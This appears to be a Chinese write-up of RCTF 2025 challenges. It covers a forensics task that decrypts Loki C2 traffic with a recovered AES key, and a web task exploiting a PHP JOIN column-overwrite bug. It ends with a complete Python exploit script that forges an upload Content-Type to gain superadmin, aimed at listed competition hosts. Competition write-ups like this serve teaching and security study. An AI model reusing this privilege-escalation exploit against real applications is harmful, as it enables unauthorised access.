2025RCTF wp

MISC

Signin

image


Shadows of Asgard

Challenge 1: The Merchant’s Mask

image

image

Challenge 2: The Parasite’s Nest

C:\Users\dell\Desktop\Microsoft VS Code\Code.exe

image

流量包中存在C2 加密流量,解密方法为:

  • Base64 decode → ASCII hex
  • bytes.fromhex() → AES 密文字节
  • AES.new(key, AES.MODE_CBC, iv).decrypt() → 明文
  • 按 PKCS7 去 padding
  • decode UTF-8 → 得到 JSON / 文本 / flag

批量解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import os
import re
import json
import base64
from Crypto.Cipher import AES

# ======================
# 配置:替换成你的 key/iv(base64 编码的 JSON 数组)
# ======================
AES_KEY_B64 = "WzUsMTM5LDI0NSwyMjAsMjMxLDQ2LDIzNCwxNDYsMjQ4LDIxMSwyLDIxMywyLDE2NSw5OCwxMTgsMTAzLDE2MiwzLDE1MCw0LDUzLDE3OSwxOTQsODQsMjA3LDQ1LDI0NSw4OCwxNzksMTkzLDEwMV0="
AES_IV_B64 = "WzEyNCwyMzIsMjU0LDE5LDI1MCw0OSw1MCw4MywyMjksMjQ0LDI4LDIyMiw4MywzMywyMDIsNl0="

# AES key / iv 还原
AES_KEY = bytes(json.loads(base64.b64decode(AES_KEY_B64)))
AES_IV = bytes(json.loads(base64.b64decode(AES_IV_B64)))

def decrypt_data(data_b64):
"""解密 Loki C2 的 data 字段"""
# base64 -> ascii hex string
try:
hex_str = base64.b64decode(data_b64).decode()
except:
return b"[ERROR] Base64 decode failed"

# hex -> ciphertext
try:
cipher = bytes.fromhex(hex_str)
except:
return b"[ERROR] Hex decode failed"

# AES-CBC
cipher_obj = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
pt = cipher_obj.decrypt(cipher)

# PKCS7 去 padding
pad = pt[-1]
if 1 <= pad <= 16 and all(b == pad for b in pt[-pad:]):
pt = pt[:-pad]

return pt


def process_tmp_file(tmp_path, out_dir):
"""处理单个 .tmp 文件"""
with open(tmp_path, "rb") as f:
content = f.read().decode(errors="ignore")

# 提取 "data":"xxxx"
m = re.search(r'"data":"([^"]+)"', content)
if not m:
return None # no encrypted data

data_b64 = m.group(1)

pt = decrypt_data(data_b64)

# 输出文件名
base = os.path.basename(tmp_path)
out_path = os.path.join(out_dir, base + "_tmp.txt")

with open(out_path, "wb") as f:
f.write(pt)

return out_path


def main():
# 创建输出目录
out_dir = "./res"
os.makedirs(out_dir, exist_ok=True)

# 遍历当前目录的所有 .tmp 文件
for file in os.listdir("./ttep"):
if file.lower().endswith(".tmp"):
print(f"[+] 处理: {file}")
output = process_tmp_file(file, out_dir)
if output:
print(f" -> 已解密: {output}")
else:
print(f" -> 未找到 data 字段")

print("\n[✓] 全部处理完毕。解密结果已保存在 res/ 目录中。\n")


if __name__ == "__main__":
main()

在其中一个tmp中得到

image

C:\Users\dell\Desktop\Microsoft VS Code\Code.exe

Challenge 3: The Hidden Rune

发现png文件都是假的,strings得到一串base64+aes加密的字符串

image

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import base64
import json
from Crypto.Cipher import AES

# ========= 这里是 Loki 的 AES key/iv(从 init 包里拿的那对) =========
AES_KEY_B64 = "WzUsMTM5LDI0NSwyMjAsMjMxLDQ2LDIzNCwxNDYsMjQ4LDIxMSwyLDIxMywyLDE2NSw5OCwxMTgsMTAzLDE2MiwzLDE1MCw0LDUzLDE3OSwxOTQsODQsMjA3LDQ1LDI0NSw4OCwxNzksMTkzLDEwMV0="
AES_IV_B64 = "WzEyNCwyMzIsMjU0LDE5LDI1MCw0OSw1MCw4MywyMjksMjQ0LDI4LDIyMiw4MywzMywyMDIsNl0="

KEY = bytes(json.loads(base64.b64decode(AES_KEY_B64)))
IV = bytes(json.loads(base64.b64decode(AES_IV_B64)))

def decrypt_loki_comment(b64_comment: str) -> str:
"""
解密 Loki C2 放在 PNG tEXt Comment 里的任务:
base64 -> hex -> AES-CBC -> 去 padding -> 明文字符串
"""
# 1) base64 -> hex 字符串
hex_str = base64.b64decode(b64_comment).decode()
# 2) hex -> 密文字节
cipher = bytes.fromhex(hex_str)
# 3) AES-CBC 解密
cipher_obj = AES.new(KEY, AES.MODE_CBC, IV)
pt = cipher_obj.decrypt(cipher)
# 4) PKCS7 去 padding
pad = pt[-1]
if 1 <= pad <= 16 and all(b == pad for b in pt[-pad:]):
pt = pt[:-pad]
# 5) 返回 utf-8 文本
return pt.decode("utf-8", errors="replace")


if __name__ == "__main__":
# 这里填你从 PNG 里提出来的那一串 base64 注释内容
comment_b64 = "YmZhY2U5MTI1NGUzODRjNmNmNzEzN2IyZjQyNTRhYTAwNzgzNjdhYTU5MGU0YWFiYzhiZDI3Y2FkMDgxZmU5ZjgzMjY4OTMyY2UyYzM2MjA5ZmZhMWU2NmY5MDI3YzM1N2YwYWY4MjNiZmI3MjJjMjEzMDk4NTA0N2Q4ODMyNjUxNjI5YTg3ZDVkMDY3ZmNhM2I1NGJlNjZlYjFjYjNlMg=="

plaintext = decrypt_loki_comment(comment_b64)
print("[+] Decrypted task JSON:")
print(plaintext)

# 如果是 JSON,可以顺便 parse 一下
try:
obj = json.loads(plaintext)
print("\n[+] Parsed fields:")
for k, v in obj.items():
print(f" {k}: {v}")
except Exception as e:
print("\n[!] Not valid JSON?", e)

得到结果

image

发现在logo_903830abfe618b5b(7).png中执行pwd

taskid为shell-init-pwd-1763017713334

image

image

shell-init-pwd-1763017713334交上去不对

发现回答框中存在8-character hexadecimal string

logo_903830abfe618b5b.png

image

解密得到

image

Challenge 4: The Forge of Time

2018-09-14 23:09:26

image

在tmp文件中解码到这个

Challenge 5: Raven’s Ominous Gift

image

image

1
2
3
4
5
6
[+] Parsed fields:
outputChannel: o-2ggeq7qpt2u
taskId: shell-upload-1763017722153
fileId: dd45c631-ec19-40b1-aa1b-e3dea35d21ae
filePath: C:\Users\dell\Desktop\Microsoft VS Code\fllllag.txt
fileData: UkNURnt0aGV5IGFsd2F5cyBzYXkgUmF2ZW4gaXMgaW5hdXNwaWNpb3VzfQ==

base64解密得到

1
RCTF{they always say Raven is inauspicious}

得到最终flag

image

RCTF{Wh3n_Th3_R4v3n_S1ngs_4sg4rd_F4lls_S1l3nt}


WEB

photographer

Wells, who loves photography, built a photography website.
But it seems only the superadmin can get the flag.
I thought the highest permission was ​admin—so where does this superadmin come from?

存在superadmin.php路由

1
2
3
4
5
6
7
8
9
10
11
12
<?php
require_once __DIR__ . '/../app/config/autoload.php';

Auth::init();

$user_types = config('user_types');

if (Auth::check() && Auth::type() < $user_types['admin']) {
echo getenv('FLAG') ?: 'RCTF{test_flag}';
}else{
header('Location: /');
}

Auth::check()

1
2
3
public static function check() {
return self::$user !== null;
}

跟进$user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Auth {
private static $user = null;

public static function init() {
if (session_status() === PHP_SESSION_NONE) {
session_name(config('session.name'));
session_start();
}

if (isset($_SESSION['user_id'])) {
self::$user = User::findById($_SESSION['user_id']);
}
}

User::findById()

1
2
3
4
5
6
public static function findById($userId) {
return DB::table('user')
->leftJoin('photo', 'user.background_photo_id', '=', 'photo.id')
->where('user.id', '=', $userId)
->first();
}

所以要求存在user且user存在于数据库中并且Auth::type() < $user_types['admin']

Auth::type()

1
2
3
public static function type() {
return self::$user['type'];
}

user::type()

1
2
3
public static function type() {
return self::$user['type'];
}

对于 $user_types['admin'] 而言,跟进config()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function config($key) {
static $config = null;

if ($config === null) {
$config = require __DIR__ . '/../app/config/config.php';
}

$keys = explode('.', $key);
$value = $config;

foreach ($keys as $k) {
if (isset($value[$k])) {
$value = $value[$k];
} else {
return null;
}
}

return $value;
}

跟进config/config.php发现角色值的配置,明确把 admin 定义为 0,auditor 为 1,user 为 2

1
2
3
4
5
6
7
8
9
10
11
12
13
'upload' => [
'path' => __DIR__ . '/../../public/uploads/',
'max_size' => 1 * 1024 * 1024,
'allowed_extensions' => ['jpg', 'jpeg', 'png', 'gif', 'webp'],
],
'session' => [
'name' => 'PHOTOGRAPHER_SESSION'
],
'user_types' => [
'admin' => 0,
'auditor' => 1,
'user' => 2
],

把用户类型值与 admin 的值(0)进行“更小于”的比较。也就是说,只有类型值小于 0 的用户才被视为“超管”。

知道成为超管的条件了,我们从入口开始看

入口在public/index.php,这里做了鉴权初始化,路由分发。请求经过 Apache 的 .htaccess 重写进入该入口,随后由路由器将 URL 映射到控制器方法。

1
2
3
4
5
6
7
8
9
10
11
<?php
require_once __DIR__ . '/../app/config/autoload.php';

Auth::init();

$router = new Router();

$routeLoader = require __DIR__ . '/../app/config/router.php';
$routeLoader($router);

$router->dispatch();

跟进Auth::init();

它从会话中读取当前用户 ID,然后调用findById()处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// app/middlewares/Auth.php
class Auth {
private static $user = null;

public static function init() {
if (session_status() === PHP_SESSION_NONE) {
session_name(config('session.name'));
session_start();
}

if (isset($_SESSION['user_id'])) {
self::$user = User::findById($_SESSION['user_id']);
}
}

跟进findById(),它从数据库查某个用户的信息,并把用户绑定的背景图片一并查出来,取第一条结果。用leftJoin对user表和photo表做连接

1
2
3
4
5
6
7
8
9
// app/models/User.php 
class User {

public static function findById($userId) {
return DB::table('user')
->leftJoin('photo', 'user.background_photo_id', '=', 'photo.id')
->where('user.id', '=', $userId)
->first();
}

跟进user表和photo表

image

image

user表和photo表存在同名列type,user 表有 type(用户角色),photo 表也有 type(图片 MIME 类型)。

使用LEFT JOIN 连接,->first() 会把结果转换为一个对象(stdClass)。而对象的属性名不能重复,所以后出现的字段会覆盖前一个。

LEFT JOIN 时列的顺序通常是:先左表后右表

所以最终对象里:

  • user.type 会先出现
  • photo.type 紧接着出现,并覆盖掉前者

所以只要设置的背景图,那么查询结果中的type字段就由photo.type 决定而不是 user.type

接下来找上传入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
// app/controllers/PhotoController.php
class PhotoController {

public function upload() {
if (!Auth::check()) {
json(['success' => false, 'message' => 'Not logged in'], 401);
}

if (!isset($_FILES['photos']) || empty($_FILES['photos']['name'][0])) {
json(['success' => false, 'message' => 'Please select photos']);
}

$files = $_FILES['photos'];
$uploadedPhotos = [];
$snowflake = new Snowflake();
$uploadPath = config('upload.path') . '/photos';

if (!is_dir($uploadPath)) {
mkdir($uploadPath, 0755, true);
}

$fileCount = count($files['name']);

for ($i = 0; $i < $fileCount; $i++) {
if ($files['error'][$i] !== UPLOAD_ERR_OK) {
continue;
}

$file = [
'name' => $files['name'][$i],
'type' => $files['type'][$i],
'tmp_name' => $files['tmp_name'][$i],
'error' => $files['error'][$i],
'size' => $files['size'][$i]
];

if (!isValidImage($file)) {
continue;
}

$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
$photoId = $snowflake->nextId();
$savedFilename = $photoId . '.' . $ext;
$filePath = $uploadPath . '/' . $savedFilename;

if (!move_uploaded_file($file['tmp_name'], $filePath)) {
continue;
}

$exifData = extractExif($filePath);

$result = Photo::create([
'user_id' => Auth::id(),
'original_filename' => $file['name'],
'saved_filename' => $savedFilename,
'type' => $file['type'],
'size' => $file['size'],
'width' => $exifData['width'],
'height' => $exifData['height'],
'exif_make' => $exifData['make'],
'exif_model' => $exifData['model'],
'exif_exposure_time' => $exifData['exposure_time'],
'exif_f_number' => $exifData['f_number'],
'exif_iso' => $exifData['iso'],
'exif_focal_length' => $exifData['focal_length'],
'exif_date_taken' => $exifData['date_taken'],
'exif_artist' => $exifData['artist'],
'exif_copyright' => $exifData['copyright'],
'exif_software' => $exifData['software'],
'exif_orientation' => $exifData['orientation']
]);

if ($result['success']) {
$uploadedPhotos[] = [
'id' => $result['photo_id'],
'filename' => $savedFilename,
'original_filename' => $file['name'],
'url' => '/uploads/photos/' . $savedFilename
];
}
}

if (empty($uploadedPhotos)) {
json(['success' => false, 'message' => 'Photo upload failed']);
}

json(['success' => true, 'photos' => $uploadedPhotos]);
}

这个接口直接把 $_FILES['type'] 原样存进数据库。

isValidImage对文件进行检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// framework/helpers.php
function isValidImage($file) {
$allowedExtensions = config('upload.allowed_extensions');

$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowedExtensions)) {
return false;
}

if ($file['size'] > config('upload.max_size')) {
return false;
}

$imageInfo = @getimagesize($file['tmp_name']);
if ($imageInfo === false) {
return false;
}

return true;
}

没有对Content-Type做校验,它仅验证扩展名、大小以及 getimagesize 是否能读出基本信息。所以我们可以上传任意图片,然后改写Content-Type为小于0即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/env python3
import requests, re, sys, base64, random, string

BASES = [
"http://1.95.160.41:26000",
"http://1.95.160.41:26001",
"http://1.95.160.41:26002",
]

def randstr(n=8):
return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(n))

def get(url, session):
r = session.get(url, timeout=10)
r.raise_for_status()
return r

def post(url, data=None, files=None, session=None):
r = session.post(url, data=data, files=files, timeout=15)
r.raise_for_status()
return r

def parse_csrf_from_register(html):
m = re.search(r'name="csrf_token"\s+value="([^"]+)"', html)
return m.group(1) if m else None

def parse_csrf_from_space(html):
m = re.search(r"const csrfToken = '([^']+)'", html)
return m.group(1) if m else None

def exploit(base):
try:
s = requests.Session()

# step 1: 获取注册页面 csrf
r = get(base + '/register', s)
csrf = parse_csrf_from_register(r.text)
if not csrf:
return ("no csrf", None)

# step 2: 注册用户
username = 'user_' + randstr(6)
email = username + '@test.com'
password = 'Aa123456'

r = post(base + '/api/register', data={
'username': username,
'email': email,
'password': password,
'confirm_password': password,
'csrf_token': csrf
}, session=s)
j = r.json()
if not j.get('success'):
return ("register failed", None)

# step 3: 获取 space 页面的 csrf
r = get(base + '/space', s)
csrf2 = parse_csrf_from_space(r.text)
if not csrf2:
return ("csrf2 missing", None)

# step 4: 上传伪造 Content-Type=-1 的图片
png_b64 = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8zwAAAgEBAy1zuFYAAAAASUVORK5CYII='
png = base64.b64decode(png_b64)
files = {'photos[]': ('exp.png', png, '-1')} # 关键:fake MIME

r = post(base + '/api/photos/upload', files=files, session=s)
j = r.json()
if not j.get('success') or not j.get('photos'):
return ("upload failed", None)

photo_id = j['photos'][0]['id']

# step 5: 设置背景图触发漏洞
r = post(base + '/api/user/background',
data={'photo_id': photo_id, 'csrf_token': csrf2},
session=s)
j = r.json()
if not j.get('success'):
return ("set bg failed", None)

# step 6: 访问 superadmin.php
r = get(base + '/superadmin.php', s)
return ("ok", r.text.strip())

except Exception as e:
return ("error", str(e))


def main():
# 如果命令行有参数,则替换默认 BASE
bases = sys.argv[1:] or BASES

results = []
for base in bases:
status, flag = exploit(base)
results.append((base, status, flag))

for base, status, flag in results:
print(f"{base}{flag or '<no output>'}")


if __name__ == '__main__':
main()